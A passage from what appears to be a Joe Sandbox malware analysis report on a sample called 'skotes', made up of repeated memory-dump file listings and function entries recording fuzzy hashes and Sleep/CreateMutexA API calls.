Associated: 00000002.00000002.2114835906.000000000046C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114891627.0000000000485000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114908316.0000000000486000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114928909.0000000000487000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114947676.0000000000489000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114970429.000000000049D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114989679.000000000049F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2115008649.00000000004A0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2115028924.00000000004A4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2115048027.00000000004A6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2115069205.00000000004B5000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2115086420.00000000004B6000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_190000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: f0b7654dca96b0e8af1861b96cfc17d6a107f5d1bc479682cad69dd2e64e1aa2
Instruction ID: 539dfb59617e750cee01e26207abde0f4c679f077544b2bedd7ef57e1c8e5425
Opcode Fuzzy Hash: f0b7654dca96b0e8af1861b96cfc17d6a107f5d1bc479682cad69dd2e64e1aa2
Instruction Fuzzy Hash: 7A314631B102409BEF089B78DD99B6DBB72EF82314F64831CE014977D2C73699888796

Function 0019A1AE Relevance: 3.1, APIs: 2, Instructions: 135
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 0019A963
CreateMutexA.KERNELBASE(00000000,00000000,001F3254), ref: 0019A981

Memory Dump Source

Source File: 00000002.00000002.2113569282.0000000000191000.00000040.00000001.01000000.00000008.sdmp, Offset: 00190000, based on PE: true

Associated: 00000002.00000002.2113452729.0000000000190000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2113569282.00000000001F2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2113723838.00000000001F9000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2113755886.00000000001FB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2113788446.0000000000205000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2113843566.0000000000206000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2113860716.0000000000207000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2113975102.0000000000361000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114002009.0000000000363000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114023369.0000000000371000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114023369.000000000037D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114063976.0000000000385000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114084940.0000000000387000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114103117.0000000000388000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114121226.0000000000389000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114139760.0000000000391000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114156644.0000000000392000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114174914.0000000000399000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114194943.000000000039B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114222017.00000000003AD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114239956.00000000003AE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114258612.00000000003AF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114281100.00000000003BD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114299063.00000000003BE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114320306.00000000003C4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114344205.00000000003DF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114363160.00000000003E2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114384671.00000000003E4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114405759.00000000003EA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114426789.00000000003F4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114447117.00000000003F9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114468097.00000000003FF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114488110.0000000000400000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114507957.0000000000407000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114539184.0000000000408000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114557161.0000000000409000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114578770.000000000040D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114602783.0000000000416000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114621691.0000000000418000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114639135.0000000000419000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114656269.000000000041E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114676060.000000000041F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114703965.0000000000423000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114731044.000000000042A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114751568.000000000042E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114775231.000000000043F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114796195.0000000000440000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114814104.0000000000441000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114835906.0000000000443000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114835906.000000000046C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114891627.0000000000485000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114908316.0000000000486000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114928909.0000000000487000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114947676.0000000000489000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114970429.000000000049D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114989679.000000000049F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2115008649.00000000004A0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2115028924.00000000004A4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2115048027.00000000004A6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2115069205.00000000004B5000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2115086420.00000000004B6000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_190000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 48df1dcbad61c9b56ab3844efc4011ca6650c110aeaaca23dfd73e6ecd802e25
Instruction ID: 4fb285c5c9af30f6c277c273e37d5214bb3874aa6f803e56597d5f9da9ab7aba
Opcode Fuzzy Hash: 48df1dcbad61c9b56ab3844efc4011ca6650c110aeaaca23dfd73e6ecd802e25
Instruction Fuzzy Hash: F3312431B102409BEF089B6CDC9DB6DBB72EF96314F604318E014AB3D2D73699888792

Function 0019A418 Relevance: 3.1, APIs: 2, Instructions: 133
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 0019A963
CreateMutexA.KERNELBASE(00000000,00000000,001F3254), ref: 0019A981

Memory Dump Source

Source File: 00000002.00000002.2113569282.0000000000191000.00000040.00000001.01000000.00000008.sdmp, Offset: 00190000, based on PE: true

Associated: 00000002.00000002.2113452729.0000000000190000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2113569282.00000000001F2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2113723838.00000000001F9000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2113755886.00000000001FB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2113788446.0000000000205000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2113843566.0000000000206000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2113860716.0000000000207000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2113975102.0000000000361000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114002009.0000000000363000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114023369.0000000000371000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114023369.000000000037D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114063976.0000000000385000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114084940.0000000000387000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114103117.0000000000388000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114121226.0000000000389000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114139760.0000000000391000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114156644.0000000000392000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114174914.0000000000399000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114194943.000000000039B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114222017.00000000003AD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114239956.00000000003AE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114258612.00000000003AF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114281100.00000000003BD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114299063.00000000003BE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114320306.00000000003C4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114344205.00000000003DF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114363160.00000000003E2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114384671.00000000003E4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114405759.00000000003EA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114426789.00000000003F4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114447117.00000000003F9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114468097.00000000003FF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114488110.0000000000400000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114507957.0000000000407000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114539184.0000000000408000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114557161.0000000000409000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114578770.000000000040D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114602783.0000000000416000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114621691.0000000000418000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114639135.0000000000419000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114656269.000000000041E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114676060.000000000041F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114703965.0000000000423000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114731044.000000000042A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114751568.000000000042E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114775231.000000000043F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114796195.0000000000440000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114814104.0000000000441000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114835906.0000000000443000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114835906.000000000046C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114891627.0000000000485000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114908316.0000000000486000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114928909.0000000000487000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114947676.0000000000489000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114970429.000000000049D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114989679.000000000049F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2115008649.00000000004A0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2115028924.00000000004A4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2115048027.00000000004A6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2115069205.00000000004B5000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2115086420.00000000004B6000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_190000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 45dfc7de9897faddaec70879b38daf224a9960281f5827226a7cc407f53a5de0
Instruction ID: b2b404aac6b31fa29ac2f04bed9c36bccf17750efa13717cecae688c580f2366
Opcode Fuzzy Hash: 45dfc7de9897faddaec70879b38daf224a9960281f5827226a7cc407f53a5de0
Instruction Fuzzy Hash: 9A314631B501009BEF089B78DC9DB7DBB62EF92314F64421CE0149B3D6DB7599888796

Function 0019A54D Relevance: 3.1, APIs: 2, Instructions: 132
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 0019A963
CreateMutexA.KERNELBASE(00000000,00000000,001F3254), ref: 0019A981

Memory Dump Source

Source File: 00000002.00000002.2113569282.0000000000191000.00000040.00000001.01000000.00000008.sdmp, Offset: 00190000, based on PE: true

Associated: 00000002.00000002.2113452729.0000000000190000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2113569282.00000000001F2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2113723838.00000000001F9000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2113755886.00000000001FB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2113788446.0000000000205000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2113843566.0000000000206000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2113860716.0000000000207000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2113975102.0000000000361000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114002009.0000000000363000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114023369.0000000000371000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114023369.000000000037D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114063976.0000000000385000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114084940.0000000000387000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114103117.0000000000388000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114121226.0000000000389000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114139760.0000000000391000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114156644.0000000000392000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114174914.0000000000399000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114194943.000000000039B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114222017.00000000003AD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114239956.00000000003AE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114258612.00000000003AF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114281100.00000000003BD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114299063.00000000003BE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114320306.00000000003C4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114344205.00000000003DF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114363160.00000000003E2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114384671.00000000003E4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114405759.00000000003EA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114426789.00000000003F4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114447117.00000000003F9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114468097.00000000003FF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114488110.0000000000400000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114507957.0000000000407000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114539184.0000000000408000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114557161.0000000000409000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114578770.000000000040D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114602783.0000000000416000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114621691.0000000000418000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114639135.0000000000419000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114656269.000000000041E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114676060.000000000041F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114703965.0000000000423000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114731044.000000000042A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114751568.000000000042E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114775231.000000000043F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114796195.0000000000440000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114814104.0000000000441000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114835906.0000000000443000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114835906.000000000046C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114891627.0000000000485000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114908316.0000000000486000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114928909.0000000000487000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114947676.0000000000489000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114970429.000000000049D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114989679.000000000049F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2115008649.00000000004A0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2115028924.00000000004A4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2115048027.00000000004A6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2115069205.00000000004B5000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2115086420.00000000004B6000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_190000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: e2985a5c8a555939f280d824370617fa8a9cddf33b3791fed9a158d18674b6be
Instruction ID: 0c2e885172f89406b5ab66b57635a21c37e83965f449f1e5d98b7403b07a9a05
Opcode Fuzzy Hash: e2985a5c8a555939f280d824370617fa8a9cddf33b3791fed9a158d18674b6be
Instruction Fuzzy Hash: D8311471B101009BEF08DB78DC9DB7DBB62EFD6318F648218E0159B7D2CB3599888796

Function 0019A682 Relevance: 3.1, APIs: 2, Instructions: 131
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 0019A963
CreateMutexA.KERNELBASE(00000000,00000000,001F3254), ref: 0019A981

Memory Dump Source

Source File: 00000002.00000002.2113569282.0000000000191000.00000040.00000001.01000000.00000008.sdmp, Offset: 00190000, based on PE: true

Associated: 00000002.00000002.2113452729.0000000000190000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2113569282.00000000001F2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2113723838.00000000001F9000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2113755886.00000000001FB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2113788446.0000000000205000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2113843566.0000000000206000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2113860716.0000000000207000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2113975102.0000000000361000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114002009.0000000000363000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114023369.0000000000371000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114023369.000000000037D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114063976.0000000000385000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114084940.0000000000387000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114103117.0000000000388000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114121226.0000000000389000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114139760.0000000000391000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114156644.0000000000392000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114174914.0000000000399000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114194943.000000000039B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114222017.00000000003AD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114239956.00000000003AE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114258612.00000000003AF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114281100.00000000003BD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114299063.00000000003BE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114320306.00000000003C4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114344205.00000000003DF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114363160.00000000003E2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114384671.00000000003E4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114405759.00000000003EA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114426789.00000000003F4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114447117.00000000003F9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114468097.00000000003FF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114488110.0000000000400000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114507957.0000000000407000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114539184.0000000000408000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114557161.0000000000409000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114578770.000000000040D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114602783.0000000000416000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114621691.0000000000418000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114639135.0000000000419000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114656269.000000000041E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114676060.000000000041F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114703965.0000000000423000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114731044.000000000042A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114751568.000000000042E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114775231.000000000043F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114796195.0000000000440000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114814104.0000000000441000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114835906.0000000000443000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114835906.000000000046C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114891627.0000000000485000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114908316.0000000000486000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114928909.0000000000487000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114947676.0000000000489000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114970429.000000000049D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114989679.000000000049F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2115008649.00000000004A0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2115028924.00000000004A4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2115048027.00000000004A6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2115069205.00000000004B5000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2115086420.00000000004B6000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

